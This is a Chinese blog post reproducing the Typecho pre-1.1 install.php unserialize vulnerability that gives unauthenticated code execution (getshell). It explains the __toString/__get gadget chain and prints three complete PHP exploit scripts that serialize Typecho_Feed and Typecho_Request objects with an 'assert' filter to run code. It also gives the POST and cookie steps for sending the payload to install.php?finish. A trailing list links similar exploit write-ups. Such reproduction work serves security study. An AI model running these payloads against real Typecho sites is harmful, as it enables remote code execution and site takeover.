Typecho反序列化导致前台 getshell 漏洞复现
Typecho反序列化导致前台 getshell 漏洞复现
漏洞描述:
Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行。
影响范围:理论上这个漏洞影响Typecho 1.1(15.5.12)之前的版本
首先我还是记录一下敏感目录
http://127.0.0.1/typecho0.9/install.php
http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin
http://127.0.0.1/typecho0.9/admin/welcome.php
使用环境:
Phpstudy+win7虚拟机
Typecho_v1.0.14.tar.gz https://pan.baidu.com/s/1jHQBKFk (在里面找相应的名字)
漏洞成因:
Freebuf上的文章说的很清楚了,有两个需要理解的点:
第一个是__toString()魔法方法,在/install.php
__toString() //把类当作字符串使用时触发
这块利用Typecho_Db函数,跟进这个函数,/var/Typecho/Db.php,发现$adapterName定义的时候拼接了一个字符串,根据文章作者说,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,所以就会触发传进来的这个类的toString方法。
第二个是__get()魔法方法,
__get() //用于从不可访问的属性读取数据
这块设置author由screenName确定,如果在类里面加上这个方法,我们给$item['author']设置的类中没有screenName私有属性就会执行该类的__get()方法。
通过__get()函数返回_applyFilter($value),将可执行代码赋值给$value触发漏洞。
漏洞复现过程:
这个漏洞复现就有一点坎坷了,起初我发现typecho里面有历史版本的下载,于是下载了一个0.9版本的,可是多次尝试仍以失败告终,后来在对比漏洞原理的时候,发现与存在漏洞的版本有出入,难不成历史版本作者也一直在更新。。。好吧,上网找了一个第三方的下了一个1.0.14,在报错的情况下完成了复现。
建站就不多说了,直接安装没有问题。安装成功如图
http://www.freebuf.com/vuls/152058.html
这位大牛漏洞原理讲的特别详细,建议看看。
反序列化漏洞要利用势必离不开魔术方法,作者收集的和PHP反序列化有关的PHP函数:__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发
Freebuf版EXP http://www.freebuf.com/vuls/152058.html
<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp)); ?>
View Code
knownsec版EXP https://paper.seebug.org/424/
<?php class Typecho_Feed {const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct(){$this->_type = $this::RSS2;$this->_items[0] = array('title' => '1','link' => '1','date' => 1508895132,'category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);} }class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'phpinfo()';$this->_filter[0] = 'assert';} }$exp = array('adapter' => new Typecho_Feed(),'prefix' => 'typecho_' );echo base64_encode(serialize($exp));knownsec版EXP https://paper.seebug.org/424/ <?php class Typecho_Request {private $_params = array();private $_filter = array();public function __construct(){// $this->_params['screenName'] = 'whoami';$this->_params['screenName'] = -1;$this->_filter[0] = 'phpinfo';} }class Typecho_Feed {const RSS2 = 'RSS 2.0';/** 定义ATOM 1.0类型 */const ATOM1 = 'ATOM 1.0';/** 定义RSS时间格式 */const DATE_RFC822 = 'r';/** 定义ATOM时间格式 */const DATE_W3CDTF = 'c';/** 定义行结束符 */const EOL = "\n";private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = self::RSS2;$item['link'] = '1';$item['title'] = '2';$item['date'] = 1507720298;$item['author'] = new Typecho_Request();$item['category'] = array(new Typecho_Request());$this->_items[0] = $item;} }$x = new Typecho_Feed(); $a = array('host' => 'localhost','user' => 'xxxxxx','charset' => 'utf8','port' => '3306','database' => 'typecho','adapter' => $x,'prefix' => 'typecho_' ); echo urlencode(base64_encode(serialize($a))); ?>
View Code
360安全客版EXP http://bobao.360.cn/learning/detail/4610.html
<?php class Typecho_Request {private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');private $_filter = array('assert'); } $payload1 = new Typecho_Request(); class Typecho_Feed {private $_type = 'RSS 2.0';private $_items;public function __construct($x1){$this->_items[] = array('author'=>$x1);} } $payload2 = new Typecho_Feed($payload1); $exp['adapter'] = $payload2; $exp['prefix'] = 'c1tas'; echo base64_encode(serialize($exp)); ?>
View Code
用post提交数据
url:http://192.168.198.128/Typecho1.0/install.php?finish=
Postdata:__typecho_config=前面脚本生成的
Referrer:http://192.168.198.128/Typecho1.0/
另一种方式是通过cookie提交
转载于:https://www.cnblogs.com/zhaijiahui/p/7763804.html
Typecho反序列化导致前台 getshell 漏洞复现相关推荐
- Apache Axis2 后台文件上传getshell 漏洞复现
0x00 前言 Apache Axis2是一个Web服务的核心支援引擎.AXIS2对旧有的AXIS重新设计及重写,并提供两种语言Java及C的开发版本. 事实上AXIS2 不只为WEB应用程序提供We ...
- (帝国CMS)EmpireCMS v7.5前台XSS 漏洞复现
漏洞范围 EmpireCMS 全版本 <7.5 漏洞POC http://*******/e/ViewImg/index.html?url=javascript:alert(/xss/) 漏洞复 ...
- 帝国CMS(EmpireCMS) v7.5 前台XSS漏洞复现
一. 漏洞描述 该漏洞是由于JavaScript获取url的参数,没有经过任何过滤直接当作a标签和img标签的href属性和src属性输出 二. 漏洞复现 需要开启会员空间功能,登录后台开启会员空间功 ...
- Weblogic IIOP协议反序列化(CVE-2020-2551)漏洞复现
为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述 02 影响范围 03 利用方式 04 修复方案 01 漏洞描述 WebLogic是Oracle推出的application serv ...
- typecho反序列化漏洞复现
typecho框架存在反序列化漏洞,利用此漏洞可执行任意代码 环境搭建 第一步 第二步 第三步 第三步 第四步 第五步 第六步 第七步 第八步 第九步 漏洞分析 typecho\build\insta ...
- FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)
#FastJson1.2.24反序列化导致任意命令执行漏洞(CVE-2017-18349)# 一.漏洞简介 Pippo是一款基于Java的Web框架.FastjsonEngine是其中的一个JSON处 ...
- fastjson 1.2.24 反序列化导致任意命令执行漏洞复现
前言 fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象. fastjson在解析js ...
- 追洞小组 | Jdbc反序列化漏洞复现浅析
目录 1.前言+靶场搭建 2.漏洞复现 3.漏洞分析 4.漏洞修复 5.心得 前言+靶场搭建 很多时候我们获得密码之后进入后台管理的界面,有些上传的漏洞或者sql注入无法getshell,但是如 ...
- php缓存注入,利用Thinkphp 5缓存漏洞实现前台Getshell
原标题:利用Thinkphp 5缓存漏洞实现前台Getshell *本文原创作者:WindWing,属于FreeBuf原创奖励计划,禁止转载 0×00 背景 网站为了实现加速访问,会将用户访问过的页面 ...
最新文章
- 环视感知网络的多任务和单任务之争
- 喊了好久的AI落地究竟卡在哪里了?
- RethinkDB是什么?—— 面向文档的NOSQL数据库,MVCC+Btree索引,pushes JSON to your apps in realtime采用push思路,优化的ssd存储...
- 初识费用流 模板(spfa+slf优化) 餐巾计划问题
- JS设计模式—节流模式的实际应用
- cpout引脚是干什么的_电源IC欠压保护(Brown-out)功能介绍
- 微服务框架---搭建 go-micro环境
- 升级鸿蒙系统有没有翻车,被寄予厚望的华为鸿蒙系统,这次要翻车?原来并不是我们想的那样...
- 618选购手机正当时,好评率高达99%的手机了解一下!
- 测试-LoadRunner
- Linux学习之CentOS6下Mysql数据库的安装与配置
- python3安装步骤-Mac安装python3的方法步骤
- 【OpenCV新手教程之十四】OpenCV霍夫变换:霍夫线变换,霍夫圆变换合辑
- 基于vue2.0与追书神器api的小说阅读webapp
- 浅谈C语言函数调用与系统调用
- CCS 5.5的安装教程
- 为什么我不推荐去SAP培训机构参加培训?
- FICO 财务替代创建
- 使用RTOS系统如何选取大容量存储芯片NAND FLASH
- 与欢聚十年终成就百度 不吃老本的YY直播还能有“黄金时代吗?